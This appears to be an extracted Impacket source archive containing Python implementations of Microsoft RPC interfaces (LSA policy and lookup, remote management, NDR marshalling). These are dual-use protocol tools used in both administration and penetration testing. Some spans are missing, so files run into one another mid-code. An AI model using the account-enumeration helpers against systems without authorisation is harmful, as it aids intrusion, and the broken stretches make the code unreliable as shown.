identifiers are given in Appendix I. # The floor count, LHS byte count and RHS byte count are all 2-bytes, # in little endian format. # # So.. we're gonna use Structure to solve this # Standard Floor Assignments class EPMFloor(Structure): structure = ( ('LHSByteCount','H=0'), ) EPMFloors = [ EPMRPCInterface, EPMRPCDataRepresentation, EPMFloor, EPMFloor, EPMFloor, EPMFloor ] class EPMTower(Structure): structure = ( ('NumberOfFloors',' '': return tmp_address % tmp_address2 else: return 'IP: %s' % tmp_address2 elif floor['ProtocolData'] == chr(0x0c): tmp_address = 'ncacn_spx:~%%s[%d]' % unpack('!H',floor['RelatedData']) elif floor['ProtocolData'] == chr(0x0d): n = len(floor['RelatedData']) tmp_address2 = ('%02X' * n) % unpack("%dB" % n, floor['RelatedData']) if tmp_address <> '': return tmp_address % tmp_address2 else: return 'SPX: %s' % tmp_address2 elif floor['ProtocolData'] == chr(0x0e): tmp_address = 'ncadg_ipx:~%%s[%d]' % unpack('!H',floor['RelatedData']) elif floor['ProtocolData'] == chr(0x0f): tmp_address = 'ncacn_np:%%s[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1] elif floor['ProtocolData'] == chr(0x10): return 'ncalrpc:[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1] elif floor['ProtocolData'] == chr(0x01) or floor['ProtocolData'] == chr(0x11): if tmp_address <> '': return tmp_address % floor['RelatedData'][:len(floor['RelatedData'])-1] else: return 'NetBIOS: %s' % floor['RelatedData'] elif floor['ProtocolData'] == chr(0x1f): tmp_address = 'ncacn_http:%%s[%d]' % unpack('!H',floor['RelatedData']) else: return 'unknown_proto_0x%x:[0]' % ord(floor['ProtocolData'] ) impacket-0.9.15/impacket/dcerpc/v5/lsad.py0000600000076500000000000016040712734531507020345 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-LSAD] Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \ NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \ LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \ SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION from impacket import nt_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if nt_errors.ERROR_MESSAGES.has_key(key): error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.1.1.2 ACCESS_MASK for Policy Objects POLICY_VIEW_LOCAL_INFORMATION = 0x00000001 POLICY_VIEW_AUDIT_INFORMATION = 0x00000002 POLICY_GET_PRIVATE_INFORMATION = 0x00000004 POLICY_TRUST_ADMIN = 0x00000008 POLICY_CREATE_ACCOUNT = 0x00000010 POLICY_CREATE_SECRET = 0x00000020 POLICY_CREATE_PRIVILEGE = 0x00000040 POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080 POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100 POLICY_AUDIT_LOG_ADMIN = 0x00000200 POLICY_SERVER_ADMIN = 0x00000400 POLICY_LOOKUP_NAMES = 0x00000800 POLICY_NOTIFICATION = 0x00001000 # 2.2.1.1.3 ACCESS_MASK for Account Objects ACCOUNT_VIEW = 0x00000001 ACCOUNT_ADJUST_PRIVILEGES = 0x00000002 ACCOUNT_ADJUST_QUOTAS = 0x00000004 ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008 # 2.2.1.1.4 ACCESS_MASK for Secret Objects SECRET_SET_VALUE = 0x00000001 SECRET_QUERY_VALUE = 0x00000002 # 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects TRUSTED_QUERY_DOMAIN_NAME = 0x00000001 TRUSTED_QUERY_CONTROLLERS = 0x00000002 TRUSTED_SET_CONTROLLERS = 0x00000004 TRUSTED_QUERY_POSIX = 0x00000008 TRUSTED_SET_POSIX = 0x00000010 TRUSTED_SET_AUTH = 0x00000020 TRUSTED_QUERY_AUTH = 0x00000040 # 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE POLICY_MODE_INTERACTIVE = 0x00000001 POLICY_MODE_NETWORK = 0x00000002 POLICY_MODE_BATCH = 0x00000004 POLICY_MODE_SERVICE = 0x00000010 POLICY_MODE_DENY_INTERACTIVE = 0x00000040 POLICY_MODE_DENY_NETWORK = 0x00000080 POLICY_MODE_DENY_BATCH = 0x00000100 POLICY_MODE_DENY_SERVICE = 0x00000200 POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400 POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800 POLICY_MODE_ALL = 0x00000FF7 POLICY_MODE_ALL_NT4 = 0x00000037 # 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO # EventAuditingOptions POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000 POLICY_AUDIT_EVENT_NONE = 0x00000004 POLICY_AUDIT_EVENT_SUCCESS = 0x00000001 POLICY_AUDIT_EVENT_FAILURE = 0x00000002 # 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO # AuthenticationOptions POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080 # 2.2.7.21 LSA_FOREST_TRUST_RECORD # Flags LSA_TLN_DISABLED_NEW = 0x00000001 LSA_TLN_DISABLED_ADMIN = 0x00000002 LSA_TLN_DISABLED_CONFLICT = 0x00000004 LSA_SID_DISABLED_ADMIN = 0x00000001 LSA_SID_DISABLED_CONFLICT = 0x00000002 LSA_NB_DISABLED_ADMIN = 0x00000004 LSA_NB_DISABLED_CONFLICT = 0x00000008 LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF ################################################################################ # STRUCTURES ################################################################################ # 2.2.2.1 LSAPR_HANDLE class LSAPR_HANDLE(NDRSTRUCT): align = 1 structure = ( ('Data','20s=""'), ) # 2.2.2.3 LSA_UNICODE_STRING LSA_UNICODE_STRING = RPC_UNICODE_STRING # 2.2.3.1 STRING class STRING(NDRSTRUCT): commonHdr = ( ('MaximumLength','. # There are test cases for them too. # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ NULL from impacket import nt_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \ PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \ SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \ PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if nt_errors.ERROR_MESSAGES.has_key(key): error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.10 ACCESS_MASK POLICY_LOOKUP_NAMES = 0x00000800 ################################################################################ # STRUCTURES ################################################################################ # 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY), ('MaxEntries', ULONG), ) class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER): referent = ( ('Data', LSAPR_REFERENCED_DOMAIN_LIST), ) # 2.2.14 LSA_TRANSLATED_SID class LSA_TRANSLATED_SID(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('RelativeId', ULONG), ('DomainIndex', LONG), ) # 2.2.15 LSAPR_TRANSLATED_SIDS class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray): item = LSA_TRANSLATED_SID class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER): referent = ( ('Data', LSA_TRANSLATED_SID_ARRAY), ) class LSAPR_TRANSLATED_SIDS(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSA_TRANSLATED_SID_ARRAY), ) # 2.2.16 LSAP_LOOKUP_LEVEL class LSAP_LOOKUP_LEVEL(NDRENUM): class enumItems(Enum): LsapLookupWksta = 1 LsapLookupPDC = 2 LsapLookupTDL = 3 LsapLookupGC = 4 LsapLookupXForestReferral = 5 LsapLookupXForestResolve = 6 LsapLookupRODCReferralToFullDC = 7 # 2.2.17 LSAPR_SID_INFORMATION class LSAPR_SID_INFORMATION(NDRSTRUCT): structure = ( ('Sid', PRPC_SID), ) # 2.2.18 LSAPR_SID_ENUM_BUFFER class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray): item = LSAPR_SID_INFORMATION class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_SID_INFORMATION_ARRAY), ) class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT): structure = ( ('Entries', ULONG), ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY), ) # 2.2.19 LSAPR_TRANSLATED_NAME class LSAPR_TRANSLATED_NAME(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Name', RPC_UNICODE_STRING), ('DomainIndex', LONG), ) # 2.2.20 LSAPR_TRANSLATED_NAMES class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_NAME class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_NAME_ARRAY), ) class LSAPR_TRANSLATED_NAMES(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Names', PLSAPR_TRANSLATED_NAME_ARRAY), ) # 2.2.21 LSAPR_TRANSLATED_NAME_EX class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Name', RPC_UNICODE_STRING), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.22 LSAPR_TRANSLATED_NAMES_EX class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_NAME_EX class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY), ) class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY), ) # 2.2.23 LSAPR_TRANSLATED_SID_EX class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('RelativeId', ULONG), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.24 LSAPR_TRANSLATED_SIDS_EX class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_SID_EX class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY), ) class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY), ) # 2.2.25 LSAPR_TRANSLATED_SID_EX2 class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT): structure = ( ('Use', SID_NAME_USE), ('Sid', PRPC_SID), ('DomainIndex', LONG), ('Flags', ULONG), ) # 2.2.26 LSAPR_TRANSLATED_SIDS_EX2 class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray): item = LSAPR_TRANSLATED_SID_EX2 class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER): referent = ( ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY), ) class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT): structure = ( ('Entries', ULONG), ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY), ) class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): item = RPC_UNICODE_STRING ################################################################################ # RPC CALLS ################################################################################ # 3.1.4.4 LsarGetUserName (Opnum 45) class LsarGetUserName(NDRCALL): opnum = 45 structure = ( ('SystemName', LPWSTR), ('UserName', PRPC_UNICODE_STRING), ('DomainName', PRPC_UNICODE_STRING), ) class LsarGetUserNameResponse(NDRCALL): structure = ( ('UserName', PRPC_UNICODE_STRING), ('DomainName', PRPC_UNICODE_STRING), ('ErrorCode', NTSTATUS), ) # 3.1.4.5 LsarLookupNames4 (Opnum 77) class LsarLookupNames4(NDRCALL): opnum = 77 structure = ( ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames4Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.6 LsarLookupNames3 (Opnum 68) class LsarLookupNames3(NDRCALL): opnum = 68 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames3Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.7 LsarLookupNames2 (Opnum 58) class LsarLookupNames2(NDRCALL): opnum = 58 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames2Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.8 LsarLookupNames (Opnum 14) class LsarLookupNames(NDRCALL): opnum = 14 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ) class LsarLookupNamesResponse(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.9 LsarLookupSids3 (Opnum 76) class LsarLookupSids3(NDRCALL): opnum = 76 structure = ( ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupSids3Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.10 LsarLookupSids2 (Opnum 57) class LsarLookupSids2(NDRCALL): opnum = 57 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupSids2Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.11 LsarLookupSids (Opnum 15) class LsarLookupSids(NDRCALL): opnum = 15 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ) class LsarLookupSidsResponse(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 14 : (LsarLookupNames, LsarLookupNamesResponse), 15 : (LsarLookupSids, LsarLookupSidsResponse), 45 : (LsarGetUserName, LsarGetUserNameResponse), 57 : (LsarLookupSids2, LsarLookupSids2Response), 58 : (LsarLookupNames2, LsarLookupNames2Response), 68 : (LsarLookupNames3, LsarLookupNames3Response), 76 : (LsarLookupSids3, LsarLookupSids3Response), 77 : (LsarLookupNames4, LsarLookupNames4Response), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hLsarGetUserName(dce, userName = NULL, domainName = NULL): request = LsarGetUserName() request['SystemName'] = NULL request['UserName'] = userName request['DomainName'] = domainName return dce.request(request) def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames4() request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames3() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames2() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): request = LsarLookupNames() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel return dce.request(request) def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupSids2() request['PolicyHandle'] = policyHandle request['SidEnumBuffer']['Entries'] = len(sids) for sid in sids: itemn = LSAPR_SID_INFORMATION() itemn['Sid'].fromCanonical(sid) request['SidEnumBuffer']['SidInfo'].append(itemn) request['TranslatedNames']['Names'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): request = LsarLookupSids() request['PolicyHandle'] = policyHandle request['SidEnumBuffer']['Entries'] = len(sids) for sid in sids: itemn = LSAPR_SID_INFORMATION() itemn['Sid'].fromCanonical(sid) request['SidEnumBuffer']['SidInfo'].append(itemn) request['TranslatedNames']['Names'] = NULL request['LookupLevel'] = lookupLevel return dce.request(request) impacket-0.9.15/impacket/dcerpc/v5/mgmt.py0000600000076500000000000001212412734531507020356 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [C706] Remote Management Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray from impacket.dcerpc.v5.epm import PRPC_IF_ID from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.uuid import uuidtup_to_bin from impacket import nt_errors MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if nt_errors.ERROR_MESSAGES.has_key(key): error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ class rpc_if_id_p_t_array(NDRUniConformantArray): item = PRPC_IF_ID class rpc_if_id_vector_t(NDRSTRUCT): structure = ( ('count',ULONG), ('if_id',rpc_if_id_p_t_array), ) structure64 = ( ('count',ULONGLONG), ('if_id',rpc_if_id_p_t_array), ) class rpc_if_id_vector_p_t(NDRPOINTER): referent = ( ('Data', rpc_if_id_vector_t), ) error_status = ULONG ################################################################################ # STRUCTURES ################################################################################ ################################################################################ # RPC CALLS ################################################################################ class inq_if_ids(NDRCALL): opnum = 0 structure = ( ) class inq_if_idsResponse(NDRCALL): structure = ( ('if_id_vector', rpc_if_id_vector_p_t), ('status', error_status), ) class inq_stats(NDRCALL): opnum = 1 structure = ( ('count', ULONG), ) class inq_statsResponse(NDRCALL): structure = ( ('count', ULONG), ('statistics', DWORD_ARRAY), ('status', error_status), ) class is_server_listening(NDRCALL): opnum = 2 structure = ( ) class is_server_listeningResponse(NDRCALL): structure = ( ('status', error_status), ) class stop_server_listening(NDRCALL): opnum = 3 structure = ( ) class stop_server_listeningResponse(NDRCALL): structure = ( ('status', error_status), ) class inq_princ_name(NDRCALL): opnum = 4 structure = ( ('authn_proto', ULONG), ('princ_name_size', ULONG), ) class inq_princ_nameResponse(NDRCALL): structure = ( ('princ_name', NDRUniConformantVaryingArray), ('status', error_status), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (inq_if_ids, inq_if_idsResponse), 1 : (inq_stats, inq_statsResponse), 2 : (is_server_listening, is_server_listeningResponse), 3 : (stop_server_listening, stop_server_listeningResponse), 4 : (inq_princ_name, inq_princ_nameResponse), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hinq_if_ids(dce): request = inq_if_ids() return dce.request(request) def hinq_stats(dce, count = 4): request = inq_stats() request['count'] = count return dce.request(request) def his_server_listening(dce): request = is_server_listening() return dce.request(request, checkError=False) def hstop_server_listening(dce): request = stop_server_listening() return dce.request(request) def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): request = inq_princ_name() request['authn_proto'] = authn_proto request['princ_name_size'] = princ_name_size return dce.request(request, checkError=False) impacket-0.9.15/impacket/dcerpc/v5/ndr.py0000600000076500000000000021321212734531507020176 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # [C706] Transfer NDR Syntax implementation # # Author: Alberto Solino (@agsolino) # # ToDo: # [X] Unions and rest of the structured types # [ ] Documentation for this library, especially the support for Arrays # import random import inspect from struct import pack, unpack, calcsize from impacket import LOG from impacket.winregistry import hexdump from impacket.dcerpc.v5.enum import Enum from impacket.uuid import uuidtup_to_bin # Something important to have in mind: # Diagrams do not depict the specified alignment gaps, which can appear in the octet stream # before an item (see Section 14.2.2 on page 620.) # Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the # representation of a primitive. The gap is of the smallest size sufficient to align the primitive class NDR(object): """ This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type """ referent = () commonHdr = () commonHdr64 = () structure = () structure64 = () align = 4 item = None _isNDR64 = False def __init__(self, data = None, isNDR64 = False): object.__init__(self) self._isNDR64 = isNDR64 self.fields = {} if isNDR64 is True: if self.commonHdr64 != (): self.commonHdr = self.commonHdr64 if self.structure64 != (): self.structure = self.structure64 if hasattr(self, 'align64'): self.align = self.align64 for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent: if self.isNDR(fieldTypeOrClass): self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64) elif fieldTypeOrClass == ':': self.fields[fieldName] = '' elif len(fieldTypeOrClass.split('=')) == 2: try: self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1]) except: self.fields[fieldName] = None else: self.fields[fieldName] = [] if data is not None: self.fromString(data) def changeTransferSyntax(self, newSyntax): NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) if newSyntax == NDR64Syntax: if self._isNDR64 is False: # Ok, let's change everything self._isNDR64 = True for fieldName in self.fields.keys(): if isinstance(self.fields[fieldName], NDR): self.fields[fieldName].changeTransferSyntax(newSyntax) # Finally, I change myself if self.commonHdr64 != (): self.commonHdr = self.commonHdr64 if self.structure64 != (): self.structure = self.structure64 if hasattr(self, 'align64'): self.align = self.align64 # And check whether the changes changed the data types # if so, I need to instantiate the new ones and copy the # old values for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent: if isinstance(self.fields[fieldName], NDR): if fieldTypeOrClass != self.fields[fieldName].__class__ and isinstance(self.fields[fieldName], NDRPOINTERNULL) is False: backupData = self[fieldName] self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64) if self.fields[fieldName].fields.has_key('Data'): self.fields[fieldName].fields['Data'] = backupData else: self[fieldName] = backupData else: if self._isNDR64 is True: # Ok, nothing for now raise def __setitem__(self, key, value): if isinstance(value, NDRPOINTERNULL): value = NDRPOINTERNULL(isNDR64 = self._isNDR64) if isinstance(self.fields[key], NDRPOINTER): self.fields[key] = value elif self.fields[key].fields.has_key('Data'): if isinstance(self.fields[key].fields['Data'], NDRPOINTER): self.fields[key].fields['Data'] = value elif isinstance(value, NDR): # It's not a null pointer, ok. Another NDR type, but it # must be the same same as the iteam already in place if self.fields[key].__class__.__name__ == value.__class__.__name__: self.fields[key] = value elif isinstance(self.fields[key]['Data'], NDR): if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__: self.fields[key]['Data'] = value else: LOG.error("Can't setitem with class specified, should be 